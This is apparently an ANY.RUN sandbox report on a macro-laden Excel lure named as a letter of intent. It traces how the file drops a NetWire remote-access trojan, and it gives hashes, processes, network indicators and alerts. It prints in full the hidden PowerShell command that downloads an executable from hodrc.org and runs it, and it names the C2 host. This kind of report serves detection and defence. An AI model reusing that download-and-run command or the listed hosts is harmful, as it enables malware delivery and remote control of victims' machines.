File name:

LetterofIntent-Eckharthelicopter.xls

Full analysis: https://app.any.run/tasks/398235d6-6d1a-465e-b96b-52122be095e1
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: July 24, 2020, 20:54:59
OS: Windows 10 Professional (build: 16299, 64 bit)
Tags:
macros
macros-on-open
loader
trojan
netwire
rat
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: DAZED, Last Saved By: DAZED, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jul 24 16:01:52 2020, Last Saved Time/Date: Fri Jul 24 16:06:33 2020, Security: 0
MD5:

6CB7256DDE8C6CF09FC82B7F75FD18AD

SHA1:

9B5BB3F2FDA7A6E316A210942D0D65D1E877761D

SHA256:

2CB072D9FCC9413A91B245513366C7BB52BFEC2638F67C158520C2854E264208

SSDEEP:

12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 4580)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 4580)

    • Executes PowerShell scripts

      • cmd.exe (PID: 72)

    • Application was dropped or rewritten from another process

      • solute.exe (PID: 2752)
      • solu.exe (PID: 1740)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1948)

    • NETWIRE was detected

      • solu.exe (PID: 1740)

    • Changes the autorun value in the registry

      • solu.exe (PID: 1740)

    • Connects to CnC server

      • solu.exe (PID: 1740)

  • SUSPICIOUS

    • Reads the machine GUID from the registry

      • powershell.exe (PID: 1948)

    • Reads Environment values

      • powershell.exe (PID: 1948)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1948)
      • solute.exe (PID: 2752)

    • Creates files in the user directory

      • solute.exe (PID: 2752)

    • Starts itself from another location

      • solute.exe (PID: 2752)

  • INFO

    • Reads Environment values

      • EXCEL.EXE (PID: 4580)

    • Reads settings of System Certificates

      • EXCEL.EXE (PID: 4580)
      • powershell.exe (PID: 1948)

    • Reads the software policy settings

      • EXCEL.EXE (PID: 4580)
      • powershell.exe (PID: 1948)

    • Scans artifacts that could help determine the target

      • EXCEL.EXE (PID: 4580)

    • Creates files in the user directory

      • EXCEL.EXE (PID: 4580)

    • Reads the machine GUID from the registry

      • EXCEL.EXE (PID: 4580)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 4580)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: DAZED
LastModifiedBy: DAZED
Software: Microsoft Excel
CreateDate: 2020:07:24 15:01:52
ModifyDate: 2020:07:24 15:06:33
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
93
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start excel.exe cmd.exe no specs conhost.exe powershell.exe solute.exe #NETWIRE solu.exe

Process information

PID
CMD
Path
Indicators
Parent process
72cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')C:\WINDOWS\SYSTEM32\cmd.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
1740"C:\Users\admin\AppData\Roaming\solu\solu.exe" C:\Users\admin\AppData\Roaming\solu\solu.exe
solute.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XACT Build Utility
Exit code:
0
Version:
9.29 (DXSDK_JUN10.100602-0421)
Modules
Images
c:\users\admin\appdata\roaming\solu\solu.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
1948powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
2752"C:\Users\admin\AppData\Local\Temp\solute.exe" C:\Users\admin\AppData\Local\Temp\solute.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XACT Build Utility
Exit code:
0
Version:
9.29 (DXSDK_JUN10.100602-0421)
Modules
Images
c:\users\admin\appdata\local\temp\solute.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernelbase.dll
3424\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\conhostv2.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
4580"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\admin\Desktop\LetterofIntent-Eckharthelicopter.xls"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
16.0.12026.20264
Modules
Images
c:\program files\microsoft office\root\office16\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ole32.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcryptprimitives.dll
Total events
2 869
Read events
2 556
Write events
268
Delete events
45

Modification events

(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:1
Value:
01D014000000001000284FFA2E01000000000000000400000000000000
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\EXCEL\4580
Operation:writeName:0
Value:
0B0E101D32BF610AC392449F757F82F56F1BC1230046FEA98B96CCBF98EB016A0410240044FA5D64A89E01008500A907556E6B6E6F776EC9062E226D2B484F4D616659574A5464337373702B3165327141506A326C775347586F6C4A7635624B6E337449506B3D2200
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ko-kr
Value:
2
(PID) Process:(4580) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:pt-br
Value:
2
Executable files
2
Suspicious files
1
Text files
5
Unknown types
1

Dropped files

PID
Process
Filename
Type
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z0B3631KDJ1WL4OLCXIM.temp —
MD5:—
SHA256:—
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms —
MD5:—
SHA256:—
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7OJ3GWE2MNKXM9VH8HAV.temp —
MD5:—
SHA256:—
1948powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j5m1lfzy.0oo.ps1 —
MD5:—
SHA256:—
1948powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x5qbth5m.rfy.psm1 —
MD5:—
SHA256:—
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\LetterofIntent-Eckharthelicopter.xls.LNKlnk
MD5:0F58D7EE239E09EBC5980639C0D7EAA2
SHA256:0739146FBE5404F541B3272A1F224CBB034DA96DE5F527E8DA997E0DE508C4D5
1948powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:65BDD5145D97FA744EEF1CB6762B6F6D
SHA256:D2025033AC5B23ED2BC7B8518CE20528781835C6C4C485A0AA1BED3B388ACF4A
4580EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:C9504642E06A4D3A31D20AC06ED6713A
SHA256:40F7D6FFFC2BDCD0748D0E4B405D8D03772A7DE2E378A30E3EB5EF4D19930065
4580EXCEL.EXEC:\Users\admin\AppData\Local\Temp\.sestext
MD5:C33ED3B632A8C623EA345A9B78D2524F
SHA256:7256054B34B9DD3414CA30A35507F58CC4470E9885BA2F4AB3C33C21B547EEA8
1948powershell.exeC:\Users\admin\AppData\Local\Temp\solute.exeexecutable
MD5:91506BC2A51501164B6A2B0C18AD1C44
SHA256:B16B3D99441F078E081E2AC0A8F0121CE4DAB264BF434E353D1E00A57E54D3AA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
15
DNS requests
9
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1948
powershell.exe
GET
200
45.40.135.135:80
http://hodrc.org/ot/solut.exe
US
executable
1.40 Mb
suspicious
4580
EXCEL.EXE
GET
200
52.109.8.19:443
https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264&
US
xml
313 Kb
whitelisted
4580
EXCEL.EXE
GET
200
52.109.76.6:443
https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3
IE
xml
124 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
1.29 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/ppsecure/deviceaddcredential.srf
US
text
16.7 Kb
whitelisted
4580
EXCEL.EXE
POST
200
52.114.128.70:443
https://self.events.data.microsoft.com/OneCollector/1.0/
US
text
56 b
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
11.1 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
11.1 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
1.98 Kb
whitelisted
4580
EXCEL.EXE
POST
200
40.90.137.124:443
https://login.live.com/RST2.srf
US
xml
11.1 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4580
EXCEL.EXE
13.107.42.23:443
config.edge.skype.com
Microsoft Corporation
US
suspicious
1948
powershell.exe
45.40.135.135:80
hodrc.org
GoDaddy.com, LLC
US
suspicious
4580
EXCEL.EXE
52.114.128.70:443
self.events.data.microsoft.com
Microsoft Corporation
US
unknown
1740
solu.exe
185.165.153.158:2022
solution.myddns.me
—
NL
malicious
4580
EXCEL.EXE
52.109.76.6:443
officeclient.microsoft.com
Microsoft Corporation
IE
whitelisted
4580
EXCEL.EXE
52.109.8.19:443
nexusrules.officeapps.live.com
Microsoft Corporation
US
whitelisted
3388
svchost.exe
40.90.137.124:443
login.live.com
Microsoft Corporation
US
unknown
4356
svchost.exe
20.191.48.196:443
settings-win-ppe.data.microsoft.com
Microsoft Corporation
US
unknown

DNS requests

Domain
IP
Reputation
config.edge.skype.com
  • 13.107.42.23
malicious
hodrc.org
  • 45.40.135.135
unknown
self.events.data.microsoft.com
  • 52.114.128.70
  • 52.114.6.47
whitelisted
solution.myddns.me
  • 185.165.153.158
malicious
officeclient.microsoft.com
  • 52.109.76.6
whitelisted
nexusrules.officeapps.live.com
  • 52.109.8.19
whitelisted
login.live.com
  • 40.90.137.124
  • 40.90.137.125
  • 40.90.23.247
  • 40.90.23.153
  • 40.90.137.126
  • 40.90.23.206
  • 40.90.137.120
  • 40.90.137.127
whitelisted
settings-win-ppe.data.microsoft.com
  • 20.191.48.196
whitelisted

Threats

PID
Process
Class
Message
—
—
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
—
—
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
—
—
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
—
—
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
—
—
A Network Trojan was detected
MALWARE [PTsecurity] Netwire.RAT
2 ETPRO signatures available at the full report
Process
Message
conhost.exe
InitSideBySide failed create an activation context. Error: 1814
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
LetterofIntent-Eckharthelicopter.xls